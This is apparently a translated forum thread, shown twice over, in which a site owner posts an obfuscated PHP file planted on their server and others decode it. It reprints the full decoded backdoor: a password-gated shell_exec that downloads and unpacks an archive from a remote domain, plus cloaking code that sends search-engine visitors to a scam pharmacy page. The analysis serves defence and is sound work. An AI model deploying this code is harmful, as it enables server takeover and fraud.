astronautic-benchmark.php”病毒脚本
astronautic-benchmark.php" virus script
有没有人听说过这个:
astronautic-benchmark.php 脚本已上传到我的网站并在那里做了一些事情。我很好奇他们做了什么,因为他们不是非常恶意的黑客,除了植入上述文件之外,只更改了我的 .htaccess 文件。下面是代码,有人知道它的作用吗????
<?php $wzkaou="\x63"."\x72"."\x65"."\x61"."\x74"."e".chr(95).chr(102)."\x75"."\x6e"."\x63"."\x74"."\x69"."o"."n";$osyifa = $wzkaou('$a',strrev(';)a$(lave')); $osyifa(strrev(';))"==gCN0XCJoQD9lQCJoQD7kCbyVncjRCKsJXdj9Vei9VZnFGcfRXZnByboNWZJkQCJoQD701JJJVVfR1UFVVUFJ1JbJVRWJVRT9FJA5SXnQ1UPh0XQRFVIdyWSVkVSV0UfRCQuIyLvoDc0RHai0DbyVncjRSCJkQCK0welNHbl1XCJkgCNsDdphXZJkQCJoQD7ciPs1Gdo9CP+kHZvJ2L8cCIvh2YllQCJkgCNsjIuxlIg4CIn4zczVmckRWYvwDM4ACdy9GUgcCIuASXnQ1UPh0XQRFVIdyWSVkVSV0UfRCIuAyJgQXYgIXZ2JXZTByJg4CIpgibvl2cyVmdwhGcg4CIn8CUIBFInAiLg01JFJVQXRlRPN1XSVkVSV0UnslUFZlUFN1XkAiLgciPzNXZyRGZhxzJg8GajVWCJkQCK0wOi4GXiAiLgciPyhGPnAyboNWZJkQCJoQD7IibcJCIuAyJ+A3L84iclZnclNHIzlGa0BibvBCZuV3bmBCdv5GIzF2dgcCIuASXnkkUV9FVTVUVRVkUnslUFZlUFN1XkAiLgcCIMJVVgQWZ0NXZ1FXZyBSZoRlPwxzJg8GajVWCJkQCK0wOi4GXiAiLgciPxg2L8Qmb19mRgQ3bO5TMoxzJg8GajVWCJkQCK0wOi4GXiAiLgciP5R2bixjPkFWZo9CPnAyboNWZJkQCJoQD7IibcJCIuAyJ+UGb0lGdvwDZuV3bGBCdv5EI0ADN+UGb0lGd8cCIvh2YllQCJkgCNsjIuxlIg4CIn4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V3YJkgCNsTKsJXdkwCTSV1XUB1TMJVVDBCLoNGJoACdw9GdlN3XsJXdjlQCK0wOpgCI0lmbp9FbyV3Yg0DIoNGJJkgCNsXKiYzMuczM18SayFmZhNFIxMTMucDN4EjLw4CNz8SZt9mcoNEIp82ajV2RgU2apxGIswUTUh0SoAiNz4yNzUzL0l2SiV2VlxGcwFEIpQjNX90VgsTMuYDIU5EIzd3bk5WaXhCIw4SNvEGbslmev1kI9QnbldWYyV2c1RCLsJXdkgCbyV3YflnYfV2ZhB3X0V2Zg42bpR3YuVnZK0gCNsTKwgCdp1Was9VZtlGdfRXZzpQD"(edoced_46esab(lave'));?>
我们有第一行:
$wzkaou="\x63"."\x72"."\x65"."\x61"."\x74"."e".chr(95).chr(102)."\x75"."\x6e"."\x63"."\x74"."\x69"."o"."n";
所以我们可以在这里弄清楚它的作用:
echo $wzkaou; // outputs create_function
我们有下一行:
$osyifa = $wzkaou('$a',strrev(';)a$(lave'));
因为我们知道 $wzkaou 是 'create_function'
,这就是这里调用的函数。第一个参数是'$a'
,第二个参数是:
echo strrev(';)a$(lave'); // eval($a);
所以基本上我们正在执行:
create_function('$a', 'eval($a)');
传递给该函数的参数同样可以这样确定:
echo strrev(';))"==gCN0XCJoQD9lQCJo[...]dp1Was9VZtlGdfRXZzpQD"(edoced_46esab(lave');
这输出:
eval(base64_decode("DQpzZXRfdGltZ[...]JCQl9DQoJCX0NCg=="));
最后,当我们base64_decode()
这个时,它产生:
set_time_limit(0);
function get_page_by_curl($url,$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"){
$ch = curl_init ();
curl_setopt ($ch, CURLOPT_URL,$url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 30);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, $useragent);
$result = curl_exec ($ch);
curl_close($ch);
return $result;
}
$doorcontent="";
$x=@$_POST["pppp_check"];
$md5pass="e5e4570182820af0a183ce1520afe43b";
$host=@$_SERVER["HTTP_HOST"];
$uri=@$_SERVER["REQUEST_URI"];
$host=str_replace("www.","",$host);
$md5host=md5($host);
$urx=$host.$uri;
$md5urx=md5($urx);
if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();} else {$tmppath = (dirname(__FILE__));}
$cdir=$tmppath."/.".$md5host."/";
$domain=base64_decode("ay1maXNoLWthLnJ1");
if ($x!=""){
$p=md5(base64_decode(@$_POST["p"]));
if ($p!=$md5pass)return;
if (($x=="2")||($x=="4")){
echo "###UPDATING_FILES###\n";
if ($x=="2"){
$cmd="cd $tmppath; rm -rf .$md5host";
echo shell_exec($cmd);
}
$cmd="cd $tmppath; wget http://$domain/outp/wp/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
echo shell_exec($cmd);
exit;
}
if ($x=="3"){
echo "###WORKED###\n";exit;
}
}else{
$curx=$cdir.$md5urx;
if (@file_exists($curx)){
@list($IDpack,$mk,$doorcontent)=@explode("|||",@base64_decode(@file_get_contents($curx)));
$bot=0;
$se=0;
$mobile=0;
if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT" ]))$bot=1;
if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT" ]))$mobile=1;
if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER" ]))$se=1;
if ($bot) {echo $doorcontent;exit;}
if ($se) {echo get_page_by_curl("http://$domain/lp.php?ip=".$IDpack."&mk=".rawurlencode($mk)."&d=".$md5host."&u=".$md5urx."&addr=".$_SERVER["REMOTE_ADDR"],@$_SERVER["HTTP_USER_AGENT"]);exit;}
header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found");
echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";
echo '<html><head>' . "\n";
echo '<title>404 Not Found</title>' . "\n";
echo '</head><body>' . "\n";
echo '<h1>Not Found</h1>' . "\n";
echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n";
echo '<hr>' . "\n";
echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n";
echo '</body></html>';
exit;
}else{
$crurl="http://".@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI'];
echo get_page_by_curl($crurl);
}
}
正如 Mike 所指出的,您的代码是一个模糊不清的脚本(使用 base 64 字符串编码和反转 strings/hexadecimal 方法来隐藏它,这很容易解码)脚本。这些方法可能仅用于保持脚本的完整性(因为纯文本字符串很可能被破坏 - base 64 编码可以防止这种情况发生)。
查看解码版本,当普通用户加载您的网页时,它似乎是一个脚本,用于在 k-fish-ka.ru/lp.php 加载网页而不是您的网页来自搜索引擎结果的页面。直接导航到您的页面不会加载假网站而不是您的网站,因此您不会注意到差异,除非您在搜索引擎结果中找到您的页面(或伪造 http header 说您是从 google.com 进行测试)。这可能就是为什么他们只在搜索引擎点击时注入页面,以对通常直接访问该网站的网站创建者隐藏它。
被注入的页面本身是一个骗局在线药店页面(我不建议访问源页面,因为它可能是一个骗局,但事实就是如此)。该页面似乎是直接 copy/paste 来自另一个网站 www.maximumstoretabs.com (这本身很可能是一个骗局),从页面底部的版权信息可以看出。
除其他外,此脚本会下载一个压缩文件,该文件表面上包含其他恶意软件或诈骗者想要的任何内容。在我的例子中,有一个 php 邮件程序(可能用于发送垃圾邮件)和大量 base64 编码的电子邮件,其中包含可怕的内容,保存到 $curx=$cdir.$md5urx;
指示的路径
我管理的网站也发生了同样的事情。 SEF(搜索引擎友好)Joomla 链接停止工作。因为他们需要 URL 重写。
有没有人听说过这个:
astronautic-benchmark.php 脚本已上传到我的网站并在那里做了一些事情。我很好奇他们做了什么,因为他们不是非常恶意的黑客,除了植入上述文件之外,只更改了我的 .htaccess 文件。下面是代码,有人知道它的作用吗????
<?php $wzkaou="\x63"."\x72"."\x65"."\x61"."\x74"."e".chr(95).chr(102)."\x75"."\x6e"."\x63"."\x74"."\x69"."o"."n";$osyifa = $wzkaou('$a',strrev(';)a$(lave')); $osyifa(strrev(';))"==gCN0XCJoQD9lQCJoQD7kCbyVncjRCKsJXdj9Vei9VZnFGcfRXZnByboNWZJkQCJoQD701JJJVVfR1UFVVUFJ1JbJVRWJVRT9FJA5SXnQ1UPh0XQRFVIdyWSVkVSV0UfRCQuIyLvoDc0RHai0DbyVncjRSCJkQCK0welNHbl1XCJkgCNsDdphXZJkQCJoQD7ciPs1Gdo9CP+kHZvJ2L8cCIvh2YllQCJkgCNsjIuxlIg4CIn4zczVmckRWYvwDM4ACdy9GUgcCIuASXnQ1UPh0XQRFVIdyWSVkVSV0UfRCIuAyJgQXYgIXZ2JXZTByJg4CIpgibvl2cyVmdwhGcg4CIn8CUIBFInAiLg01JFJVQXRlRPN1XSVkVSV0UnslUFZlUFN1XkAiLgciPzNXZyRGZhxzJg8GajVWCJkQCK0wOi4GXiAiLgciPyhGPnAyboNWZJkQCJoQD7IibcJCIuAyJ+A3L84iclZnclNHIzlGa0BibvBCZuV3bmBCdv5GIzF2dgcCIuASXnkkUV9FVTVUVRVkUnslUFZlUFN1XkAiLgcCIMJVVgQWZ0NXZ1FXZyBSZoRlPwxzJg8GajVWCJkQCK0wOi4GXiAiLgciPxg2L8Qmb19mRgQ3bO5TMoxzJg8GajVWCJkQCK0wOi4GXiAiLgciP5R2bixjPkFWZo9CPnAyboNWZJkQCJoQ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0B3b0V2cfxmc1NWCJoQD7kSMgwiUFZ0UOFkUU5kUVRVRS9FVQ9ETSV1QgwCajRCKgQHcvRXZz9FbyV3YJkgCNsTKsJXdkwCTSV1XUB1TMJVVDBCLoNGJoACdw9GdlN3XsJXdjlQCK0wOpgCI0lmbp9FbyV3Yg0DIoNGJJkgCNsXKiYzMuczM18SayFmZhNFIxMTMucDN4EjLw4CNz8SZt9mcoNEIp82ajV2RgU2apxGIswUTUh0SoAiNz4yNzUzL0l2SiV2VlxGcwFEIpQjNX90VgsTMuYDIU5EIzd3bk5WaXhCIw4SNvEGbslmev1kI9QnbldWYyV2c1RCLsJXdkgCbyV3YflnYfV2ZhB3X0V2Zg42bpR3YuVnZK0gCNsTKwgCdp1Was9VZtlGdfRXZzpQD"(edoced_46esab(lave'));?>
我们有第一行:
$wzkaou="\x63"."\x72"."\x65"."\x61"."\x74"."e".chr(95).chr(102)."\x75"."\x6e"."\x63"."\x74"."\x69"."o"."n";
所以我们可以在这里弄清楚它的作用:
echo $wzkaou; // outputs create_function
我们有下一行:
$osyifa = $wzkaou('$a',strrev(';)a$(lave'));
因为我们知道 $wzkaou 是 'create_function'
,这就是这里调用的函数。第一个参数是'$a'
,第二个参数是:
echo strrev(';)a$(lave'); // eval($a);
所以基本上我们正在执行:
create_function('$a', 'eval($a)');
传递给该函数的参数同样可以这样确定:
echo strrev(';))"==gCN0XCJoQD9lQCJo[...]dp1Was9VZtlGdfRXZzpQD"(edoced_46esab(lave');
这输出:
eval(base64_decode("DQpzZXRfdGltZ[...]JCQl9DQoJCX0NCg=="));
最后,当我们base64_decode()
这个时,它产生:
set_time_limit(0);
function get_page_by_curl($url,$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"){
$ch = curl_init ();
curl_setopt ($ch, CURLOPT_URL,$url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 30);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, $useragent);
$result = curl_exec ($ch);
curl_close($ch);
return $result;
}
$doorcontent="";
$x=@$_POST["pppp_check"];
$md5pass="e5e4570182820af0a183ce1520afe43b";
$host=@$_SERVER["HTTP_HOST"];
$uri=@$_SERVER["REQUEST_URI"];
$host=str_replace("www.","",$host);
$md5host=md5($host);
$urx=$host.$uri;
$md5urx=md5($urx);
if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();} else {$tmppath = (dirname(__FILE__));}
$cdir=$tmppath."/.".$md5host."/";
$domain=base64_decode("ay1maXNoLWthLnJ1");
if ($x!=""){
$p=md5(base64_decode(@$_POST["p"]));
if ($p!=$md5pass)return;
if (($x=="2")||($x=="4")){
echo "###UPDATING_FILES###\n";
if ($x=="2"){
$cmd="cd $tmppath; rm -rf .$md5host";
echo shell_exec($cmd);
}
$cmd="cd $tmppath; wget http://$domain/outp/wp/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
echo shell_exec($cmd);
exit;
}
if ($x=="3"){
echo "###WORKED###\n";exit;
}
}else{
$curx=$cdir.$md5urx;
if (@file_exists($curx)){
@list($IDpack,$mk,$doorcontent)=@explode("|||",@base64_decode(@file_get_contents($curx)));
$bot=0;
$se=0;
$mobile=0;
if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT" ]))$bot=1;
if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT" ]))$mobile=1;
if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER" ]))$se=1;
if ($bot) {echo $doorcontent;exit;}
if ($se) {echo get_page_by_curl("http://$domain/lp.php?ip=".$IDpack."&mk=".rawurlencode($mk)."&d=".$md5host."&u=".$md5urx."&addr=".$_SERVER["REMOTE_ADDR"],@$_SERVER["HTTP_USER_AGENT"]);exit;}
header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found");
echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";
echo '<html><head>' . "\n";
echo '<title>404 Not Found</title>' . "\n";
echo '</head><body>' . "\n";
echo '<h1>Not Found</h1>' . "\n";
echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n";
echo '<hr>' . "\n";
echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n";
echo '</body></html>';
exit;
}else{
$crurl="http://".@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI'];
echo get_page_by_curl($crurl);
}
}
正如 Mike 所指出的,您的代码是一个模糊不清的脚本(使用 base 64 字符串编码和反转 strings/hexadecimal 方法来隐藏它,这很容易解码)脚本。这些方法可能仅用于保持脚本的完整性(因为纯文本字符串很可能被破坏 - base 64 编码可以防止这种情况发生)。
查看解码版本,当普通用户加载您的网页时,它似乎是一个脚本,用于在 k-fish-ka.ru/lp.php 加载网页而不是您的网页来自搜索引擎结果的页面。直接导航到您的页面不会加载假网站而不是您的网站,因此您不会注意到差异,除非您在搜索引擎结果中找到您的页面(或伪造 http header 说您是从 google.com 进行测试)。这可能就是为什么他们只在搜索引擎点击时注入页面,以对通常直接访问该网站的网站创建者隐藏它。
被注入的页面本身是一个骗局在线药店页面(我不建议访问源页面,因为它可能是一个骗局,但事实就是如此)。该页面似乎是直接 copy/paste 来自另一个网站 www.maximumstoretabs.com (这本身很可能是一个骗局),从页面底部的版权信息可以看出。
除其他外,此脚本会下载一个压缩文件,该文件表面上包含其他恶意软件或诈骗者想要的任何内容。在我的例子中,有一个 php 邮件程序(可能用于发送垃圾邮件)和大量 base64 编码的电子邮件,其中包含可怕的内容,保存到 $curx=$cdir.$md5urx;
我管理的网站也发生了同样的事情。 SEF(搜索引擎友好)Joomla 链接停止工作。因为他们需要 URL 重写。